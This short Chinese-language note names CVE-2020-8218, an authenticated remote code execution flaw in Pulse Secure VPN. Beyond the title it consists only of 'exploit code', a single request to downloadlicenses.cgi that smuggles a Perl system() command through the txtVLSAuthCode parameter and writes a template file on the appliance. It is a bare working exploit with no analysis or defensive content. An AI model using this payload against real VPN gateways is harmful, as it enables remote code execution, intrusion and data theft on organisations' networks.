CVE-2020-8218 Pulse Secure VPN 安全认证RCE漏洞

利用代码：

https://x.x.x.x/dana-admin/license/downloadlicenses.cgi?cmd=download&txtVLSAuthCode=whatever -n '($x="ls /",system$x); #' -e /data/runtime/tmp/tt/setcookie.thtml.ttc